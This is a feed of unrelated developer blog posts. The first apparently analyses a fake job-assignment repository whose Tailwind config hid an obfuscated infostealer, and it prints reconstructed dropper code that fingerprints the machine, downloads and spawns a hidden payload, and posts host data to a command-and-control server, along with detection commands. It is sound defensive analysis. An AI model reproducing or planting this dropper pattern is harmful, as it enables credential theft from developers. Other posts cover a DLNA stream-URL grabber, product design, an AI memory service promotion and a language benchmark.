2026-04-15 17:51:58
Recently, a recruiter approached me via Linkedin with a Web3/crypto frontend role. The interview process seemed standard, submitted my Resume/CV, some back-and-forth about my experience, and then this message:
"After reviewing your background, we'd like to move forward with the next step in our hiring process." A GitHub repo link. A 60-minute time estimate. Urgency about rolling submissions. Classic pressure to move fast and not think too hard.
I've done dozens of these. So I cloned the repo, opened it in my editor, and was about to run yarn install when something made me pause. The codebase felt... heavy for a simple coding test. 440 files. A full Express backend with Uniswap and PancakeSwap router integrations. Wallet private key handling. Why would a "create a WalletStatus component" task need all of this?
So instead of running it, I opened Claude Code and asked it to audit the entire codebase for malware. What it found buried inside tailwind.config.js, hidden behind 1500+ invisible whitespace characters, was a multi-stage infostealer that would have fingerprinted my machine, downloaded a remote payload, spawned a hidden background process, and exfiltrated my data to a command-and-control server. All triggered the moment I ran yarn start.
I later found a LinkedIn post by Jithin KG describing this exact attack pattern, malware embedded in fake take-home assignments targeting developers in the crypto space. I wasn't the only one being targeted.
This article is a full technical breakdown of what I found, including the exact Claude Code audit process that uncovered it. If you're job hunting, especially in crypto, but honestly in any space that sends you repos to run locally, read this before you yarn install anything.
The repo they sent me looked completely legitimate. It presented itself as an NFT Campaign Platform called "Yootribe," built with:
[email protected] / testpassword), and troubleshooting tipsThe assignment was straightforward:
Create a
WalletStatus.jscomponent that checks wallet connection status and displays the wallet address. Add a route at/dashboard/wallet-status. Submit a Pull Request.
Reasonable scope. Clear acceptance criteria. MetaMask integration, exactly what you'd expect from a Web3 company hiring frontend developers. The codebase was large enough (~440 files, 56,000+ lines) that no sane person would audit every line before running yarn start.
That's exactly what they were counting on.
Before touching yarn install, I opened Claude Code in the project directory and ran a simple prompt:
Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
Claude Code started by mapping the entire project structure, every file in src/, server/, public/, and root config files. It then ran parallel searches across the codebase for known threat indicators:
Suspicious imports and system access:
Searching for: child_process|exec(|execSync|spawn|fork(
Result: package.json:33, "child_process": "^1.0.2"
It immediately flagged child_process, crypto, and fs as npm dependencies, Node.js built-ins that should never be installed as third-party packages.
Private key handling:
Searching for: privateKey|private_key|mnemonic|seed.?phrase
Results:
src/components/Wallet/ExportWallet.js:71, {userData?.wallet_private_key}
src/components/CreateWallet/Step4.js:46 , localStorage.setItem('key', wallet.privateKey)
It found private keys stored in plaintext in localStorage and exposed through unprotected API endpoints, the sniping bot backend accepts raw private keys via HTTP POST and stores them in an unencrypted SQLite database.
The server is a front-running bot:
Claude Code read every controller file and identified that the "NFT Campaign Platform" was actually a fully functional MEV (Maximal Extractable Value) exploit tool:
server/controllers/snippingController.js, monitors the Ethereum mempool for addLiquidity events and front-runs themserver/controllers/frontController.js, 870 lines of code that copies other wallets' pending buy/sell transactions and executes them first for profit, supporting Uniswap V2, V3, and Universal RouterPOST /startSnipping, POST /startFront)But the broad scan didn't find actual malware yet, no eval(), no atob(), no obvious obfuscation. So I asked Claude Code to go deeper:
Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns
Claude Code ran targeted regex searches across every .js, .jsx, .ts, and .tsx file:
Searching for: eval(|new Function(|setTimeout([^,]*[`"'][^)]*)|
setInterval([^,]*[`"'][^)]*)|Reflect.|Proxy(
Searching for: atob(|btoa(|Buffer.from(|toString(.*(hex|base64|ascii)|
fromCharCode|charCodeAt
Searching for: fetch(|axios.(get|post)|http.request|https.request|
request(|XMLHttpRequest
Searching for: child_process|exec(|execSync|execFile|spawn(|spawnSync|
fork(|Worker(|cluster.|process.kill|process.exit|daemon
Searching for: fs.(read|write|unlink|rm|mkdir|access|stat|open|append)|
readFileSync|writeFileSync|createReadStream|os.(homedir|
tmpdir|platform|hostname|userInfo)
Most results were clean, normal fetch() calls to the project's own API, standard process.env usage, Sequelize's fs.readdirSync for model loading.
Then it hit tailwind.config.js.
Claude Code read the file and found that line 18 didn't end at column 3. After the };, there were over 1500 space characters, and then a massive block of obfuscated JavaScript starting with const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1....
My editor never showed this. git diff --stat showed tailwind.config.js | 18 lines, looks normal. But Claude Code reads the full raw content of every file, including characters past column 1500.
Claude Code then decoded the obfuscated payload without executing it. It used Node.js to safely reverse the base64 and XOR encoding:
// Claude Code ran this to decode the malware's string table:
const n = a0 => {
s1 = a0.substring(1);
return Buffer.from(s1, 'base64').toString('utf8');
};
// Decoded results:
// 'os' , operating system module
// 'fs' , filesystem module
// 'request' , HTTP client
// 'path' , path utilities
// 'child_process' , process spawning
// 'platform' , os.platform()
// 'tmpdir' , os.tmpdir()
// 'hostname' , os.hostname()
// 'username' , os.userInfo().username
// 'spawn' , child_process.spawn()
// 'exec' , child_process.exec()
// 'writeFileSync' , fs.writeFileSync()
// 'existsSync' , fs.existsSync()
// 'statSync' , fs.statSync()
// 'mkdirSync' , fs.mkdirSync()
// 'get' , request.get()
// 'post' , request.post()
From this, Claude Code reconstructed the entire attack chain and confirmed it hits all five threat vectors:
| Threat Vector | Found | Details |
|---|---|---|
| Dynamic code execution | Yes |
child_process.exec() and spawn() with windowsHide: true
|
| Remote payload download | Yes |
request.get() downloads from dynamically constructed C2 URL |
| Obfuscated code | Yes | Base64 + XOR + string array rotation + 1500-char whitespace hiding |
| Background process creation | Yes |
spawn({detached: true}) + unref() creates orphaned daemon |
| Unusual system access | Yes | Reads hostname, username, platform, tmpdir; writes to temp; POSTs to C2 |
All of this was found without running a single line of the project's code.
The malware lives in one file: tailwind.config.js.
Here's what you see if you open it:
/** @type {import('tailwindcss').Config} */
module.exports = {
content: [
"./src/**/*.{js,jsx,ts,tsx}",
"./public/index.html",
],
theme: {
extend: {
fontFamily: {
'poppins': ['Poppins', 'sans-serif'],
},
},
},
plugins: [],
corePlugins: {
preflight: false,
},
};
A perfectly normal Tailwind config. But line 18 doesn't end at the semicolon. After the };, there are over 1500 space characters padding the line horizontally, followed by a massive block of obfuscated JavaScript:
}; (1500+ more spaces) const a0ai=a0a1,a0aj=a0a1,a0ak=a0a1...
No editor will show this without horizontal scrolling. git diff won't flag it. Most code review tools render it as a clean, innocent config file.
This is the dropper.
The malicious code uses four stacked obfuscation techniques:
A shuffled array of 100+ base64-encoded strings is accessed via computed hex indices. The array is rotated at startup using an IIFE with a checksum:
(function(a0, a1) {
const a2 = a0();
while (!![]) {
try {
const a3 = parseInt(ab(0x1a0))/0x1 + parseInt(ab(0x1ed))/0x2 + ...
if (a3 === a1) break;
else a2['push'](a2['shift']());
} catch(a4) { a2['push'](a2['shift']()); }
}
})(a0a0, 0x7c2c2);
This makes the string lookups position-dependent on runtime computation. You can't statically map indices to values.
Two decoding functions work in tandem:
// Base64 decoder (strips first char as salt, then decodes)
const n = a0 => {
s1 = a0.substring(1);
return Buffer.from(s1, 'base64').toString('utf8');
};
// XOR decoder with rotating 4-byte key
const T = [0x70, 0xa0, 0x89, 0x48];
const x = a0 => {
let a2 = '';
for (let a3 = 0; a3 < a0.length; a3++) {
rr = ((a0[a3] ^ T[a3 & 0x3]) & 0xff);
a2 = a2 + String.fromCharCode(rr);
}
return a2;
};
Every sensitive string, module names, function names, URLs, runs through one or both of these before use.
Critical identifiers are split across multiple concatenations:
const c = 'base6' + '4';
const i = 'Rc3Bh' + a0ai(0x18b); // → 'spawn'
const u = a0aj(0x1d4) + a0al(0x1e3) + 'A'; // → 'request'
Every variable is a meaningless alphanumeric identifier: a0ai, a0aj, aG, aH, bk. Functions are called through proxy objects with obfuscated keys:
a1 = {
'bPrTI': function(a5, a6) { return a5(a6); },
'ylVwx': function(a5, a6) { return a5(a6); },
};
// Later: a0['bPrTI'](someFunc, someArg) // just calls someFunc(someArg)
After decoding every string, here's the reconstructed logic in plain English:
const os = require('os');
const fs = require('fs');
const request = require('request'); // HTTP client from package.json
const path = require('path');
const process = require('process');
const child_process = require('child_process');
Note: request, child_process, crypto, and fs are all listed as explicit dependencies in package.json. That's not accidental, it ensures they're available after yarn install without raising suspicion since the project is a crypto app that might plausibly need them.
const tmpDir = os.tmpdir();
const hostname = os.hostname();
const platform = os.platform(); // 'darwin', 'win32', 'linux'
const userInfo = os.userInfo();
const username = userInfo.username;
const timestamp = Date.now().toString();
const scriptPath = process.argv[1];
Collects everything needed to identify your machine uniquely.
The Command & Control server URL is never stored as a string. Instead, it's built dynamically from multiple encoded fragments:
// Simplified reconstruction:
const baseUrl = decode(M_or_X); // switches between two C2 servers
const fullUrl = constructUrl(baseUrl, fragments, sessionId);
Two hardcoded base64 values (M and X) serve as primary/fallback C2 addresses. The URL includes path segments derived from XOR-decoded byte arrays, making pattern-matching by security tools nearly impossible.
request.get(c2url, (error, response, body) => {
if (error) return;
fs.writeFileSync(localPath, body); // writes to temp dir
executePayload(tempDir);
});
Downloads a remote binary/script and writes it to a staging directory inside os.tmpdir(). The directory is created with fs.mkdirSync({recursive: true}).
On Windows:
const child = spawn(process.execPath, [payload], {
cwd: stageDir,
stdio: 'ignore',
windowsHide: true // no visible window
});
child.unref(); // parent can exit, child keeps running
On macOS/Linux:
const child = spawn(nodePath, [process.execPath, payload], {
cwd: stageDir,
detached: true, // survives parent termination
stdio: ['ignore', logFd, logFd] // redirects to hidden log
});
child.unref();
The detached: true + unref() combination is the key trick: it creates an orphaned process that continues running even after you close your terminal or kill the dev server. On Windows, windowsHide: true ensures no command prompt window flashes on screen.
const payload = {
ts: timestamp, // when
type: identifier, // campaign/session ID
hid: hostname + '+' + username, // who
ss: sessionData, // session context
cc: process.argv[1] // what script was running
};
request.post({ url: c2url, form: payload });
Your machine identity is sent to the attacker's server. This likely serves as:
let attempts = 0;
const retry = async () => {
try {
timestamp = Date.now().toString();
await downloadAndExecute(0);
} catch(e) {}
};
retry();
let interval = setInterval(() => {
attempts += 1;
if (attempts < 3) retry();
else clearInterval(interval);
}, 616000); // every ~10.3 minutes
Runs immediately on import, then retries twice more at 10-minute intervals. Three total attempts to ensure the payload lands even if the C2 server is temporarily unreachable.
By the time your React app opens in the browser, the malware has already phoned home, dropped its payload, and started a hidden background process.
Looking back, the signals were there, but they're easy to overlook when you're focused on completing an assignment:
"child_process": "^1.0.2",
"crypto": "^1.0.1",
"fs": "^0.0.1-security"
These are Node.js built-ins. They should never appear as npm dependencies. The npm packages with these names are either stubs or historically flagged as supply-chain attack vectors. Listing them ensures they're resolvable by require() in any environment.
request package
"request": "^2.88.2"
The request npm package has been deprecated since 2020. A legitimate project in 2025+ would use axios (which is already in the deps) or node-fetch. The only reason request is here is because the malware needs it, and its presence is hidden among 80+ other dependencies.
The server contains fully functional front-running and sniping bots that monitor the Ethereum mempool and exploit other users' transactions. Private keys are accepted via unprotected HTTP endpoints and stored in plaintext SQLite. This isn't just a vehicle for malware, the entire platform is an exploit tool.
commit 70a3da95
Author: talent-labs <[email protected]>
Date: Fri Jan 23 09:36:06 2026 +0900
main/home-assignment
438 files changed, 56441 insertions(+)
The entire codebase was committed in a single commit by talent-labs <[email protected]>. No history. A throwaway email. No GitHub organization page, no company website that matches, no LinkedIn profiles of employees I could verify. The "company" existed just enough to send me a repo.
As I showed earlier in this article, this is exactly how I caught the malware. Two prompts. A few minutes. No code executed.
Claude Code reads every line of every file in the repo, including the parts hidden past column 1500 that your editor never renders. It doesn't get tired, it doesn't skim, and it doesn't assume config files are safe.
If you're receiving repos from strangers, run them through Claude Code before you touch yarn install. The two prompts I used:
Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns
It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.
awk 'length > 200' **/*.{js,json,ts,jsx,tsx}
grep -rn 'eval\|Function(\|atob\|fromCharCode\|\\x[0-9a-f]' .
grep -rn 'child_process\|\.exec(\|\.spawn(' .
grep -rn 'Buffer\.from\|toString.*base64' .
Audit package.json:
preinstall/postinstall scriptsfs, child_process, crypto, os, path)request)Use a VM or container. Always. Run take-home assignments in a disposable environment. Docker, a throwaway VM, or at minimum a separate user account with no access to your crypto wallets, SSH keys, or cloud credentials.
Check line lengths in git:
git diff --stat # won't catch it
git log -p | awk 'length > 500' # will
tailwind.config.js, a file you'd never think to audit. It could just as easily be in postcss.config.js, babel.config.js, jest.config.js, .eslintrc.js, or any config that gets require()'d at build time.ps aux | grep node
ls -la $TMPDIR or ls -la /tmp
lsof -i -nP | grep node
I almost ran this. I was one yarn start away from having my machine compromised, my SSH keys, my cloud credentials, my browser sessions, everything. The only reason I didn't is because the repo felt slightly too heavy for the task, and I decided to read before running.
But let's be honest: most of the time, we don't read. We're excited about a job opportunity. The repo looks professional. The task is reasonable. We want to impress the recruiter by submitting quickly. And that's exactly when we run yarn start without auditing 56,000 lines of code, including the 1500 invisible spaces hiding a backdoor in a Tailwind config.
The crypto/Web3 job market has become a hunting ground for these attacks. But the technique isn't limited to crypto, any take-home assignment in any tech stack can carry this payload. A Django project could hide it in settings.py. A Go project could hide it in go generate directives. A Rust project could hide it in build.rs.
What changed my workflow after this: I now run every take-home assignment through Claude Code before I touch yarn install. It takes two minutes and it reads every line, including the ones I can't see. It's not a silver bullet, but it caught what my eyes, my editor, and git diff all missed.
The rule is simple: if someone sends you code to run, treat it like someone handed you a USB drive in a parking lot. Inspect it. Sandbox it. And never run it on a machine that has access to anything you care about.
If this helped you, share it with someone who's job hunting. One yarn start is all it takes.
2026-04-15 17:51:34
The weirdest part of building something personal is when other people want it.
I originally built Archimedes for myself.
It was my fix for a research workflow that felt too fragmented.
But once I showed it to friends, the reaction changed the entire vibe.
They did not just say "cool demo."
They started asking for it.
That matters more than it sounds like it should.
Friends are often the first real signal that you have built something with actual utility.
They are not your target market in a rigorous statistical sense,
but they are usually honest about whether something feels useful.
The requests started small:
Then the requests got more specific.
They wanted a simpler way to use it.
They wanted a nicer interface.
They wanted the thing I had been using for myself to work for them too.
That is a powerful moment for any builder.
It means the project has escaped the original use case.
It is no longer just a private utility.
It has crossed into "other people can imagine themselves using this."
That feedback also exposed the real product shape.
The CLI was enough for me, but not enough for everybody.
If I wanted other people to use Archimedes without a tutorial and a prayer,
I needed to build a more approachable interface.
That is the exact moment the project started becoming a product.
Not because I declared it so.
Because other people started demanding it.
2026-04-15 17:50:42
Generating a beautiful image is the easy part. Getting a user from "wow" to "add to cart" — that's the product problem nobody talks about.
Most AI product builders hit the same wall about three weeks after launch.
The demo is impressive. Users upload a photo, the model returns a beautiful output, everyone is delighted. Then... nothing. Users screenshot the image, maybe share it, and leave. Conversion is low. Retention is low. The AI did its job. The product didn't.
The reason is almost always the same: the output was visual, but the user's goal was physical.
They didn't upload a room photo because they wanted a nice picture. They uploaded it because they want their actual room to look different. The image is not the destination — it's the starting point. And most AI products treat it as the finish line.
This article is about the architecture — product, technical, and UX — of bridging that gap.
Let's be precise about the user journey, because it matters for every decision downstream.
When a user engages with an AI design tool, their mental model looks roughly like this:
Current Room → [AI Magic] → Dream Room
Simple. Clean. The product fulfills it by generating a compelling visual. Problem solved.
Except that's not actually the journey. The real journey looks like this:
Current Room → [AI Visual] → "I want this" → ??? → Dream Room
The ??? is where most AI design products drop users. And it's not a small gap. Between seeing a generated image and having a real room that looks like it, there are:
Dropping a user at the image and calling it done isn't a product. It's a mood board generator. Mood board generators are fun. They don't build retention, revenue, or real user value.
The design challenge is: how do you carry users across the ????
In building out the post-generation experience, I've found it useful to think in three distinct layers, each serving a different user need.
This is what most AI tools build. The generated image answers the question: "Could my space look like this?"
Its job is emotional. It converts a vague aspiration ("I think I want Scandinavian vibes?") into a concrete, specific, personal vision ("Oh, that's exactly what I mean"). Without this, nothing downstream matters — the user has no committed design direction to shop toward.
Key product requirement: The visual must be spatially accurate enough to feel like your room, not a generic aspirational render. (See the spatial analysis challenges article for why that's technically non-trivial.) If the image doesn't feel personal, the emotional confirmation doesn't land, and the user doesn't invest in the journey.
This layer answers: "What specific things do I need to buy to make this real?"
It's the bridge. And it's where most of the interesting product and technical work lives.
Connecting a generated visual to real, purchasable products requires solving a few non-trivial problems:
a) Style-to-product mapping
Your generation model knows style categories. Your product catalogue knows SKUs. These two namespaces don't naturally align. You need a mapping layer that translates visual style attributes — "warm oak tones," "low-profile seating," "organic textile textures" — into filterable product attributes that match vendor catalogue structures.
One approach: train a lightweight classifier on styled room images to output structured style attribute vectors. Use those vectors as retrieval queries against an embedded product database. Products are embedded by style description, materials, and visual similarity (via CLIP or equivalent). Cosine similarity retrieval returns candidates; a re-ranking step applies budget and dimension filters.
b) Completeness vs. overwhelm
A complete room has 20–40 individual products in it. Showing a user 40 product recommendations at once is not helpful — it's the paradox of choice problem all over again. You need curation logic that determines which recommendations to surface first.
Useful heuristics:
c) Vendor trust signals
Product recommendations without vendor context feel hollow. Users need signals — ratings, return policies, lead times, price-quality positioning — to make purchase decisions. The recommendation layer should carry these signals, not just product images and prices.
// Example product recommendation schema
{
product_id: "string",
name: "string",
category: "anchor | accent | textile | lighting | decor",
style_match_score: 0.0–1.0,
price_usd: number,
vendor: {
name: "string",
trust_signals: ["free_returns", "in_stock", "top_rated"],
url: "string"
},
dimensions: {
width_in: number,
depth_in: number,
height_in: number
},
image_url: "string",
purchase_url: "string"
}
This layer answers: "What do I actually do, and in what order?"
It converts inspiration + product selection into a project plan. This is the most underbuilt layer in most AI design products, and arguably the highest-value one.
A well-structured renovation checklist does several things:
The checklist is also where AI has the most headroom to add value beyond the initial generation. Dynamic checklist updates based on what a user has already purchased, budget tracking against remaining items, reminders when sale events hit for saved products — these are all high-value features that are technically straightforward once the data model is right.
When building DreamDen AI, we made a deliberate product decision early: the app needed to go beyond visuals. A pretty render wasn't the product. The renovation journey was the product.
That decision shaped the entire architecture. A few specific choices worth sharing:
1. Mood boards as intermediate representations
Rather than jumping directly from generated image to product list, we added a mood board layer. Mood boards serve as a negotiation surface between the AI's output and the user's actual preferences. They're easier to react to than a full product catalogue, and they capture intent signals (pinned items, dismissed items, style adjustments) that improve downstream recommendation quality.
Mood board interactions are essentially implicit preference feedback without asking users to fill out a form.
2. Checklists as living documents
The checklist isn't generated once and handed off. It updates based on:
This makes the checklist a persistent engagement surface, not a static PDF.
3. Vendor curation over vendor volume
Rather than connecting to a broad product API and returning hundreds of results, we invested in a curated vendor network. Fewer options, higher trust, better match quality. This trades coverage for conversion — a tradeoff that makes sense when your user is making real purchase decisions rather than browsing.
By tying the AI's output to trusted vendors and clear checklists, we built a renovation experience that carries users from generated image to delivered furniture without the ??? gap. You can see how this flow works in practice at DreamDen.
If you're building something similar, it helps to think of the post-generation product as a state machine. Each state has a clear purpose, a primary CTA, and defined transitions:
┌─────────────────────────────────────────────────────┐
│ USER STATE MACHINE │
└─────────────────────────────────────────────────────┘
[UPLOAD] ──► [GENERATE] ──► [CONFIRM STYLE]
│
▼
[MOOD BOARD CURATION]
│
▼
[PRODUCT RECOMMENDATIONS]
┌──────┴──────┐
▼ ▼
[SAVE ITEM] [DISMISS ITEM]
│
▼
[CHECKLIST BUILDER]
│
▼
[PURCHASE / TRACK]
│
▼
[MARK COMPLETE]
│
▼
[SHARE / NEW ROOM] ◄── re-entry point
Every state should have exactly one primary action. Decision fatigue at any node kills conversion. If a user reaches a state and isn't sure what to do next, they leave.
For developers starting on an AI-to-action product, here's the minimal stack:
| Component | What It Does | Approaches |
|---|---|---|
| Generation model | Produces the room visual | Diffusion + ControlNet, fine-tuned |
| Style attribute extractor | Maps visual output to structured attributes | CLIP embeddings, custom classifier |
| Product catalogue | Source of purchasable items | Vendor API, affiliate feeds, curated DB |
| Product embedder | Enables semantic retrieval | CLIP, sentence-transformers on descriptions |
| Recommendation ranker | Surfaces best-match products | Cosine similarity + budget/dimension filters |
| Checklist engine | Sequences and tracks purchase steps | Dependency graph, user state DB |
| Mood board component | Captures preference signals | Drag-and-drop UI, pin/dismiss events |
| Vendor trust layer | Enriches recommendations with signals | Vendor metadata API or manual curation |
You don't need all of this on day one. Ship the generation + basic product recommendations first. Add the checklist engine and mood board layer once you've validated that users engage with recommendations at all.
The problem we've been discussing isn't unique to interior design. It's a general pattern in consumer AI products:
Generative outputs are inspiring. Users need actionable.
The same gap exists in:
In every case, the AI's job is to produce a high-quality, personalized output. The product's job is to carry the user from that output to the real-world action they actually wanted.
The teams that crack this pattern — for their specific vertical, with their specific user base — will build the AI consumer products with real retention and real revenue. The teams that ship the generation and ship nothing else will build demos.
Know which one you're building.
2026-04-15 17:48:24
I wanted to grab the actual stream URL when casting a video from my phone to the TV. Not to watch it on the TV — I wanted the raw m3u8 link so I could record it with ffmpeg or play it in VLC on my laptop.
Turns out, DLNA casting works by sending the media URL from the phone app to the TV via a standard SOAP request (SetAVTransportURI). The TV then fetches and plays the stream on its own. The phone is just a remote control.
So... what if your computer pretended to be a TV?
If you advertise a fake UPnP MediaRenderer on the local network, any app that supports DLNA casting (Bilibili, iQiyi, Youku, TikTok, and many more) will happily send you the real stream URL when you hit "cast."
The app can't tell the difference — it's standard protocol, same as talking to a Samsung or Sony TV.
239.255.255.250:1900 — announce ourselves as a MediaRendererSetAVTransportURI with the actual stream URL. We extract it and we're done.The whole thing is ~500 lines of Python stdlib. No dependencies.
pip install wechat-finder-dlna
# Print the captured URL
wechat-finder-dlna
# Record directly with ffmpeg
wechat-finder-dlna --record stream.mp4 --duration 01:00:00
# Pipe to VLC
wechat-finder-dlna | xargs vlc
Or use it as a library:
from wechat_finder_dlna import capture
url = capture(name="Living Room TV")
# url is the raw m3u8/mp4 link — do whatever you want with it
Phone and computer need to be on the same WiFi. That's it.
I looked at a few (like dlnap, macast), but they're full renderers — they actually play the video. I just wanted the URL. So I built the smallest possible MediaRenderer that only implements device discovery and SetAVTransportURI.
Zero external dependencies. Pure stdlib (http.server, socket, threading, xml).
Anything that supports DLNA/UPnP casting. I've tested with several Chinese streaming apps (they all use DLNA for casting), but it should work with any app that can cast to a smart TV on your network.
The project is at github.com/gtoxlili/wechat-finder-dlna. Feedback welcome — especially if you've tested it with apps I haven't tried.
2026-04-15 17:46:49
I've been building AI agents for the past few years, and kept hitting the same wall: they forget everything between sessions. You spend weeks training an agent on your workflow, then it wakes up the next day like it's never met you.
That's why we built MemoryLake (https://memorylake.ai) – a persistent, multimodal memory layer for AI agents that survives across sessions, platforms, and even model switches.
The Problem
Most AI "memory" solutions today are just key-value stores that remember user preferences ("I live in Beijing"). That's useful, but it's not real memory. Real memory means:
What Makes It Different
vs. RAG/Vector DBs: Those are retrieval layers. MemoryLake is a cognitive layer – it understands, organizes, and reasons over memories.
vs. Long context: Longer context ≠ memory. MemoryLake compresses and structures information, cutting token costs by up to 91% while maintaining 99.8% recall accuracy.
vs. ChatGPT Memory / Claude Projects: Those are siloed. MemoryLake is your "memory passport" – one memory layer that works across Hermes,OpenClaw, ChatGPT, Claude, Kimi, any LLM.
Tech Highlights
Real-World Use
We're serving 2M+ users globally. Enterprise customers include major document platforms and mobile office apps processing 100+ trillion records. In head-to-head tests with cloud giants, we've achieved 10x better cost/performance.
We recently launched Hermes/OpenClaw integration – if you're running agents, you can plug in MemoryLake in 60 seconds.
Open Questions
Would love your feedback, especially from folks running production agents or working on long-context systems.
Links:
Happy to answer any questions!
2026-04-15 17:46:23
SMS is the scripting language at the heart of Forge — an open source UI framework
built around a simple idea: what if you never had to install a runtime again?
Every new language or runtime eventually faces it:
"But how fast is it?"
For SMS, we had been avoiding a direct answer. We knew SMS compiled to LLVM IR was
fast — but "fast" is not a number. So we sat down, designed a fair benchmark, and
let the machine decide.
Fair is the key word here. SMS does not have an optimizer yet. Generating LLVM IR
and handing it to clang without any -O flag — that is our current AOT path.
Putting SMS against C++ with -O2 would be like sending a sprinter onto a racetrack
without shoes while the opponent wears spikes. The track would prove nothing.
So we asked a different question:
What happens when everyone runs without optimization?
Machine: Apple M2
Workload: Three tasks designed to resist compiler optimization even at -O2:
fib(36) — recursive, exponential call tree
no compiler converts this to O(n) automatically
lcgChain(42, 2M) — serial LCG dependency chain
each iteration depends on the previous → no SIMD
nestedMod(800×800) — nested loop with modulo in the inner loop
modulo blocks vectorization
Same algorithm in every language. Same checksum required: 174148737.
If the number doesn't match, the run is invalid.
Compilation flags:
| Runtime | How it was compiled |
|---|---|
| SMS → LLVM IR |
sms_compile → clang (no -O flag) |
| C++ | clang++ -O0 |
| C# .NET | Release /p:Optimize=false |
| Kotlin JVM | standard kotlinc + java -jar (JIT active) |
C++ and SMS are at exactly the same optimizer level: zero.
Kotlin and C# run with JIT — we note this explicitly in the results.
7 runs per variant. Median reported.
| Runtime | Median (µs) | vs SMS |
|---|---|---|
SMS → LLVM IR (no optimizer)
|
71,358 | — |
C++ clang -O0
|
85,466 | SMS 1.20x faster |
C# .NET warm (JIT)
|
96,656 | SMS 1.35x faster |
Kotlin JVM warm (JIT)
|
64,445 | Kotlin 1.11x faster |
The checksum matches across all four. The numbers are real.
SMS without any optimizer runs 20% faster than equivalent C++ at the same
optimization level — and 35% faster than C# even with JIT active.
Only Kotlin JVM stays ahead, and it does so with JIT assistance.
This surprised us too. Here is the explanation.
When clang compiles C++ at -O0, it is deliberately conservative. Every variable
lives on the stack. Every intermediate value is written and re-read. The IR is
verbose by design — because at -O0, clang trusts the debugger more than
the programmer.
SMS skips the C++ frontend entirely. It generates LLVM IR directly from the AST,
and that IR is already lean. No frontend overhead. No stack-frame conservatism.
The result is cleaner IR that the backend can lower more efficiently — even without
optimization passes.
It is not magic. It is a shorter path.
While we had the stopwatch out, we also measured event dispatch — the mechanism
behind every on btn.clicked() in a Forge app.
We dispatched 100,000 events to a handler (counter = counter + 1; return counter)
through three systems:
| Runtime | Per event (ns) | Total 100k |
|---|---|---|
SMS on bench.tick() interpreter |
7,260 | 726 ms |
C++ unordered_map dispatch |
266 | 27 ms |
Kotlin JVM HashMap dispatch |
51 | 5 ms |
At first glance this looks like a problem. 27x slower than C++. 143x slower than Kotlin JVM.
Then we remembered what UI actually is.
A button click arrives roughly every 500 milliseconds if the user is fast.
At 7,260 nanoseconds per dispatch, the SMS event handler finishes 68,000 times
before the next human input arrives.
This is not a performance gap. This is a rounding error on human time.
The real cost of a UI event is not the dispatch. It is the render, the layout pass,
the draw call. The SMS interpreter overhead disappears entirely in that noise.
We are noting it anyway — because honest benchmarks show everything, not just
the numbers that make us look good.
Let us be precise about what was measured and what was not.
What was measured:
What was not measured:
-O2 — it would win by a large margin, and that is fineThe honest picture:
today:
SMS (no optimizer) ████████████ 71 ms
C++ (-O0) ██████████████ 85 ms
C# (JIT) ████████████████ 97 ms
Kotlin (JIT) ███████████ 64 ms
with C++ -O2:
C++ (-O2) ███ ~8-12 ms ← would win
SMS with optimizer (not yet):
SMS (-O2) ??? ← where this is going
We are not claiming SMS is faster than C++. We are saying:
SMS generates better unoptimized code than C++ generates unoptimized code.
That is a meaningful statement about the quality of the compiler backend.
When an optimizer arrives, it starts from a better baseline.
There is one scenario where the event dispatch latency does matter:
high-frequency programmatic events — animations, simulation loops, reactive data
bindings firing hundreds of times per second.
For that, SMS already has every building block for JIT:
| Piece | Status |
|---|---|
| Interpreter | ✅ sms_native_session_invoke()
|
| LLVM IR codegen | ✅ sms_native_codegen_llvm_ir()
|
| clang as backend | ✅ used by sms_compile
|
dlopen / dlsym
|
✅ standard POSIX |
The missing piece: after a handler fires N times, compile it to a shared library,dlopen it, swap the function pointer. ~200–300 lines of C++.
After warmup, a JIT-compiled SMS handler would reach native C++ dispatch speeds.
Kotlin JVM would no longer have a structural advantage — it would be an equal.
We are looking for someone to build this.
If you are comfortable with C++17 and dlopen, the architecture is documented,
the benchmark harness is ready, and your name goes into the release notes and
into this article.
→ GitIssues Issue: SMS JIT Dispatcher
Forge is a UI framework built on two ideas:
SML — a declarative markup language for UI layout.
SMS — an event-driven scripting language that compiles to LLVM IR.
No JVM. No CLR. No garbage collector. No runtime to install.on btn.clicked() is not a callback registered in a framework lifecycle.
It is a first-class language construct that compiles to native code.
We benchmarked it because we want to know the truth about where we stand.
The truth is: we are faster than C++ at the same level, faster than C# JIT,
and one optimizer away from being a serious contender against the full stack.
That is not a marketing claim. That is a measured number with a checksum.
Benchmark code: samples/bench_mac/ in the Forge repository.
Run it yourself: bash samples/bench_mac/run_bench.sh
Forge is open source. Contributions welcome.
Sat Nam. 🌱